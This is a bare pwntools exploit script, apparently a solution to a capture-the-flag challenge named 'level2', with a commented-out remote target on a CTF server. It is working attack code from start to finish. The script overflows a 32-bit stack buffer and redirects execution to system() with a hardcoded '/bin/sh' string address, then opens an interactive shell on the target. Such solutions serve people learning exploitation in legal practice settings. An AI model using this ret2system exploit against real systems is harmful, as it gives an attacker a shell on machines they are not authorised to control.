exp
from pwn import *
context(log_level = 'debug')
proc_name = './level2'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 26643)
elf = ELF(proc_name)
system_addr = elf.sym['system']
main_addr = elf.sym['main']
bin_sh_str = 0x0804a024
payload = 'a'.encode() * (0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_str)
p.sendline(payload)
p.interactive()
